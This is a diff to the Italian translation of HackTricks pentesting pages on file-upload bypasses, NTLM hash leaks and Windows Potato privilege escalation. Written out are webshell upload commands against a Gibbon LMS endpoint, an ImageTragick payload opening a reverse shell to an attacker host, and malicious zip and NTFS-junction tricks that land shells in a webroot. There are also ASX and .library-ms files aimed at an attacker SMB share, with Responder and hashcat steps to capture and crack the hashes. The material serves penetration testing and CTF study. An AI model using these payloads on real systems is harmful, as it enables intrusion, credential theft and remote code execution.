- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
+- `gibbonPersonID`: è accettato qualsiasi valore non vuoto (e.g., `0000000001`)

-PoC minimo per scrivere e leggere un file:
+Minimal PoC to write and read back a file:
 ```bash
 # Prepare test payload
 printf '0xdf was here!' | base64
@ -184,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
 # Verify write
 curl http://target/Gibbon-LMS/poc.php
 ```
-Carica un webshell minimale ed esegui comandi:
+Carica una webshell minimale ed esegui comandi:
 ```bash
 # '<?php system($_GET["cmd"]); ?>' base64
 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
@ -195,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
 curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
 ```
 Note:
- Il handler esegue `base64_decode($_POST["img"])` dopo aver splittato per `;` e `,`, poi scrive i byte in `$absolutePath . '/' . $_POST['path']` senza validare estensione/tipo.
- Il codice risultante viene eseguito come l'utente del servizio web (ad es., XAMPP Apache on Windows).
+- Il handler esegue `base64_decode($_POST["img"])` dopo aver splittato per `;` e `,`, poi scrive i byte in `$absolutePath . '/' . $_POST['path']` senza validare extension/type.
+- Il codice risultante viene eseguito come l'utente del web service (e.g., XAMPP Apache on Windows).

-Le referenze per questo bug includono l'advisory di usd HeroLab e la voce NVD. Vedi la sezione References qui sotto.
+Le referenze per questo bug includono l'advisory usd HeroLab e la voce NVD. Vedi la sezione References qui sotto.

 ## **wget File Upload/SSRF Trick**

-In alcune occasioni potresti scoprire che un server sta usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia inclusa in una whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questa verifica può essere bypassata.**\
-La **lunghezza massima** di un **nome del file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"*232+".php"+".gif"**, questo nome file **bypasserà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in "A"*232+".php".
+In alcune occasioni potresti trovare che un server sta usando **`wget`** per **download files** e puoi **indicare** l'**URL**. In questi casi, il codice può verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **this check can be bypassed.**\
+La **maximum** length di un **filename** in **linux** è **255**, tuttavia, **wget** tronca i filename a **236** caratteri. You can **download a file called "A"*232+".php"+".gif"**, questo filename will **bypass** the **check** (as in this example **".gif"** è un'estensione **valid**) ma `wget` rinominerà il file in **"A"*232+".php"**.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -226,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================

 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Nota che **another option** a cui potresti pensare per bypassare questo controllo è far sì che il **HTTP server** reindirizzi a un file diverso, così l'URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parameter** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
+Note that **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **HTTP server effettui un redirect verso un file diverso**, così l'URL iniziale supererà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
+
+### Escaping upload directory via NTFS junctions (Windows)
+
+(Per questo attacco avrai bisogno di accesso locale alla macchina Windows) Quando gli upload vengono memorizzati in sottocartelle per utente su Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) e controlli la creazione/eliminazione di quella sottocartella, puoi sostituirla con una directory junction che punti a una posizione sensibile (e.g., il webroot). Gli upload successivi verranno scritti nel percorso di destinazione, consentendo l'esecuzione di codice se il target interpreta codice lato server.
+
+Esempio di flusso per reindirizzare gli upload nella XAMPP webroot:
+```cmd
+:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
+::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
+
+:: 2) Remove the created folder and create a junction to webroot
+rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
+cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
+
+:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
+::    Minimal PHP webshell for testing
+::    <?php echo shell_exec($_REQUEST['cmd']); ?>
+
+:: 4) Trigger
+curl "http://TARGET/shell.php?cmd=whoami"
+```
+Note
+- mklink /J creates an NTFS directory junction (reparse point). L'account del web server deve seguire la junction e avere permesso di scrittura nella destinazione.
+- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
+- Contromisure: non consentire che le writable upload roots siano controllabili dall'attaccante sotto C:\Windows\Tasks o simili; bloccare la creazione di junction; validare le estensioni lato server; memorizzare gli upload su un volume separato o con deny‑execute ACLs.

 ## Tools

- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è un potente tool progettato per assistere Pentesters and Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web applications.

 ### Corrupting upload indices with snprintf quirks (historical)

-Alcuni legacy upload handler che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di inconsistenze e troncamenti nel comportamento di `snprintf()`, un singolo upload attentamente costruito può apparire come più file indicizzati sul lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come un upload multi-file e prendendo branch non sicuri). Pur essendo raro oggi, questo pattern di “index corruption” occasionalmente riemerge in CTFs e codebase più vecchie.
+Alcuni legacy upload handler che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel falsificare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload appositamente costruito può apparire come più file indicizzati sul lato server, confondendo la logica che assume una forma fissa (ad es. trattandolo come un multi-file upload e prendendo branch non sicuri). Sebbene oggi sia di nicchia, questo pattern di “index corruption” ricompare occasionalmente in CTFs e codebase più vecchie.

 ## From File upload to other vulnerabilities

- Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal**
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti essere in grado di ottenere una **SQL injection**
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una XSS
- Imposta **filename** su `; sleep 10;` per testare qualche command injection (più [command injections tricks here](../command-injection.md))
+- Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere una **path traversal**
+- Imposta **filename** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere una **SQL injection**
+- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una **XSS**
+- Imposta **filename** su `; sleep 10;` per testare qualche command injection (maggiori informazioni: [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
 - Prova **different svg payloads** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se puoi **indicare the web server to catch an image from a URL** potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **saved** in qualche sito **public**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**.
+- Se puoi far sì che il web server recuperi un'immagine da una URL, potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa immagine viene salvata in un sito pubblico, puoi anche indicare una URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e rubare informazioni di ogni visitatore.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDF appositamente creati per XSS: La [pagina seguente mostra come **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content per verificare se il server ha qualche **antivirus**
- Controlla se esiste qualche **size limit** nell'upload dei file
+- PDF appositamente creati per XSS: la [pagina seguente presenta come **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite.
+- Carica il contenuto di \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) per verificare se il server ha qualche **antivirus**
+- Verifica se esiste un **limite di dimensione** nel caricamento dei file

-Ecco una top 10 delle cose che puoi ottenere caricando file (da [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Ecco una top 10 di cose che puoi ottenere caricando (da [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@ -279,15 +304,15 @@ https://github.com/portswigger/upload-scanner
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 - **JPG**: `"\xff\xd8\xff"`

-Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
+Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.

 ## Zip/Tar File Automatically decompressed Upload

-Se puoi uploadare uno ZIP che verrà decompressed all'interno del server, puoi fare 2 cose:
+If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

 ### Symlink

-Uploada un link contenente soft links ad altri file, poi, accedendo ai file decompressi accederai ai file linkati:
+Carica un archivio contenente symlink a altri file; poi, accedendo ai file decompressi accederai ai file a cui puntano i symlink:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@ -295,18 +320,18 @@ tar -cvf test.tar symindex.txt
 ```
 ### Decomprimere in cartelle diverse

-La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante l'assunto iniziale che questa configurazione potesse proteggere contro l'OS-level command execution tramite upload di file malevoli, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di bypassare le restrizioni e uscire dalle secure upload directories manipolando la funzionalità di decompressione dell'applicazione target.
+La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere contro OS-level command execution tramite upload di file malevoli, il hierarchical compression support e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attackers di bypassare le restrizioni ed evadere le secure upload directories manipolando la decompression functionality dell'applicazione target.

-Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utility può essere usata come mostrato:
+Un automated exploit per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utility può essere usata come mostrato:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è puntare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua esecuzione.
+Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è puntare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file sul tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua esecuzione.

-Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
+Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip dannoso:
 ```python
 #!/usr/bin/python
 import zipfile
@ -325,11 +350,11 @@ zip.close()

 create_zip()
 ```
-**Abusing compression for file spraying**
+**Abusare della compressione per file spraying**

-Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Per maggiori dettagli **controlla il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

-1.  **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`.
+1.  **Creating a PHP Shell**: Il codice PHP è scritto per eseguire comandi passati tramite la variabile `$_REQUEST`.

 ```php
 <?php
@ -346,7 +371,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```

-3.  **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, sostituendo "xxA" con "../" per attraversare le directory.
+3.  **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono alterati usando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.

 ```bash
 :set modifiable
@ -356,36 +381,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php

 ## ImageTragic

-Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dall'[exploit](https://www.exploit-db.com/exploits/39767))
+Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Incorporare PHP shell in PNG
+## Incorporare una PHP shell in un PNG

-Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate rispettivamente per il ridimensionamento e il rialcampionamento delle immagini. La capacità della PHP shell incorporata di rimanere non alterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
+Incorporare una PHP shell nello IDAT chunk di un file PNG può aggirare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, in quanto vengono comunemente utilizzate rispettivamente per ridimensionare e risamplare le immagini. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo in alcuni casi d'uso.

-Un'esplorazione dettagliata di questa tecnica, inclusa la metodologia e le possibili applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
+Una trattazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.

 Ulteriori informazioni in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

-## File poliglotta
+## File polyglot

-I file poliglotta sono uno strumento unico nella sicurezza informatica, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come archivio RAR. Questi file non sono limitati a questa combinazione; sono possibili anche accoppiamenti come GIF e JS o PPT e JS.
+I file polyglot fungono da strumento unico in cybersecurity, comportandosi come camaleonti che possono esistere validamente in più formati di file simultaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come archivio RAR. Questi file non sono limitati a questa combinazione; sono possibili anche accoppiamenti come GIF e JS o PPT e JS.

-L'utilità principale dei file poliglotta risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. La pratica comune in molte applicazioni prevede di permettere solo determinati tipi di file per l'upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può aggirare furtivamente queste restrizioni.
+L'utilità principale dei polyglot risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Una prassi comune in molte applicazioni consiste nel permettere solo determinati tipi di file in upload — come JPEG, GIF o DOC — per mitigare il rischio di formati potenzialmente dannosi (es. JS, PHP, o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più formati, può aggirare silenziosamente queste restrizioni.

-Nonostante la loro adattabilità, i poliglotta incontrano delle limitazioni. Per esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni dei file della piattaforma. Se il sistema è rigido riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantire l'upload.
+Nonostante la loro adattabilità, i polyglot incontrano delle limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR e un JPEG, il successo dell'upload potrebbe dipendere dalla politica sulle estensioni del sistema. Se la piattaforma è rigorosa riguardo le estensioni ammesse, la sola dualità strutturale di un polyglot potrebbe non essere sufficiente per garantire l'upload.
+
+Ulteriori informazioni in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

 ### Caricare JSON validi come se fossero PDF

-Come evitare il rilevamento del tipo di file caricando un JSON valido anche se non consentito, fingendo che sia un PDF (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, fingendo che sia un PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):

 - **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è considerato valido (vedi esempio nel post)
- **`pdflib` library**: Aggiungi un finto formato PDF all'interno di un campo del JSON in modo che la libreria lo interpreti come un PDF (vedi esempio nel post)
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di quella soglia in modo che non possa parsare il contenuto come JSON e poi inserire all'interno del JSON la parte iniziale di un PDF reale e lo considererà un PDF
+- **`pdflib` library**: Aggiungi un finto formato PDF dentro un campo del JSON in modo che la libreria pensi sia un PDF (vedi esempio nel post)
+- **`file` binary**: Il binario `file` può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale dimensione in modo che non possa analizzarlo come JSON e poi inserisci, all'interno del JSON, la parte iniziale di un PDF reale e lo considererà un PDF

 ## Riferimenti

@ -403,5 +430,7 @@ Come evitare il rilevamento del tipo di file caricando un JSON valido anche se n
 - [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
 - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
 - [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
+- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
+- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
+++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
@ -1,7 +1,66 @@
-# Luoghi per rubare credenziali NTLM
+# Luoghi per rubare NTLM creds

 {{#include ../../banners/hacktricks-training.md}}

-**Controlla tutte le ottime idee da [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) dal download di un file microsoft word online alla fonte delle perdite ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md e [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
+**Controlla tutte le ottime idee da [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) dal download di un file Microsoft Word online fino alla fonte dei ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md e [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
+
+
+### Playlist di Windows Media Player (.ASX/.WAX)
+
+Se riesci a far aprire o visualizzare in anteprima a un target una playlist di Windows Media Player che controlli, puoi leakare Net‑NTLMv2 puntando la voce a un percorso UNC. WMP tenterà di recuperare il media referenziato via SMB e si autenticherà implicitamente.
+
+Esempio di payload:
+```xml
+<asx version="3.0">
+<title>Leak</title>
+<entry>
+<title></title>
+<ref href="file://ATTACKER_IP\\share\\track.mp3" />
+</entry>
+</asx>
+```
+Flusso di raccolta e cracking:
+```bash
+# Capture the authentication
+sudo Responder -I <iface>
+
+# Crack the captured NetNTLMv2
+hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
+```
+### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
+
+Windows Explorer gestisce in modo insicuro i file .library-ms quando vengono aperti direttamente da un archivio ZIP. Se la definizione della library punta a un percorso UNC remoto (es., \\attacker\share), semplicemente sfogliare/avviare il .library-ms all'interno dello ZIP fa sì che Explorer enumeri l'UNC e invii l'autenticazione NTLM all'attaccante. Questo produce un NetNTLMv2 che può essere cracked offline o potenzialmente relayed.
+
+Esempio minimale di .library-ms che punta a un UNC dell'attaccante
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
+<version>6</version>
+<name>Company Documents</name>
+<isLibraryPinned>false</isLibraryPinned>
+<iconReference>shell32.dll,-235</iconReference>
+<templateInfo>
+<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
+</templateInfo>
+<searchConnectorDescriptionList>
+<searchConnectorDescription>
+<simpleLocation>
+<url>\\10.10.14.2\share</url>
+</simpleLocation>
+</searchConnectorDescription>
+</searchConnectorDescriptionList>
+</libraryDescription>
+```
+Passaggi operativi
+- Crea il file .library-ms con l'XML sopra (imposta il tuo IP/hostname).
+- Comprimi in ZIP (on Windows: Send to → Compressed (zipped) folder) e consegna lo ZIP al target.
+- Avvia un listener per la cattura NTLM e attendi che la vittima apra il .library-ms dall'interno dello ZIP.
+
+
+## Riferimenti
+- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
+- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
+- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
+

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}

 > [!WARNING]
-> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere usati per sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere utilizzato per abusare dei privilegi di impersonazione su host Windows 10 e Server 2019 dove JuicyPotato non funziona più.
+> **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere usati per **ottenere gli stessi privilegi e acquisire accesso a livello `NT AUTHORITY\SYSTEM`**. Questo [post del blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere usato per abusare dei privilegi di impersonation su host Windows 10 e Server 2019 dove JuicyPotato non funziona più.

 > [!TIP]
-> Un'alternativa moderna frequentemente mantenuta nel 2024–2025 è SigmaPotato (un fork di GodPotato) che aggiunge l'utilizzo in-memory/.NET reflection e supporto esteso per gli OS. Vedi l'uso rapido qui sotto e il repo in References.
+> Un'alternativa moderna frequentemente mantenuta nel 2024–2025 è SigmaPotato (un fork di GodPotato) che aggiunge l'uso in-memory/.NET reflection e un supporto esteso per gli OS. Vedi l'uso rapido qui sotto e il repo nei Riferimenti.

 Related pages for background and manual techniques:

@ -24,21 +24,22 @@ privilege-escalation-abusing-tokens.md

 ## Requisiti e problemi comuni

-Tutte le tecniche seguenti si basano sull'abuso di un servizio privilegiato in grado di impersonare da un contesto che possiede uno dei seguenti privilegi:
+Tutte le tecniche seguenti si basano sull'abuso di un servizio privilegiato con capacità di impersonation da un contesto che detiene uno dei seguenti privilegi:

 - SeImpersonatePrivilege (il più comune) o SeAssignPrimaryTokenPrivilege
- Non è richiesta l'integrità elevata se il token ha già SeImpersonatePrivilege (tipico per molti account di servizio come IIS AppPool, MSSQL, ecc.)
+- Non è richiesta l'integrità elevata (high integrity) se il token ha già SeImpersonatePrivilege (tipico per molti account di servizio come IIS AppPool, MSSQL, ecc.)

-Controlla rapidamente i privilegi:
+Verifica rapidamente i privilegi:
 ```cmd
 whoami /priv | findstr /i impersonate
 ```
-Operational notes:
+Note operative:

- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
+- Se la tua shell gira con un token ristretto che non ha SeImpersonatePrivilege (comune per Local Service/Network Service in alcuni contesti), recupera i privilegi predefiniti dell'account usando FullPowers, quindi esegui una Potato. Esempio: `FullPowers.exe -c "cmd /c whoami /priv" -z`
+- PrintSpoofer richiede che il servizio Print Spooler sia in esecuzione e raggiungibile tramite l'endpoint RPC locale (spoolss). In ambienti hardenizzati dove Spooler è disabilitato dopo PrintNightmare, preferire RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- RoguePotato richiede un OXID resolver raggiungibile su TCP/135. Se il traffico in uscita è bloccato, usa un redirector/port-forwarder (vedi esempio sotto). Le build più vecchie richiedevano il flag -f.
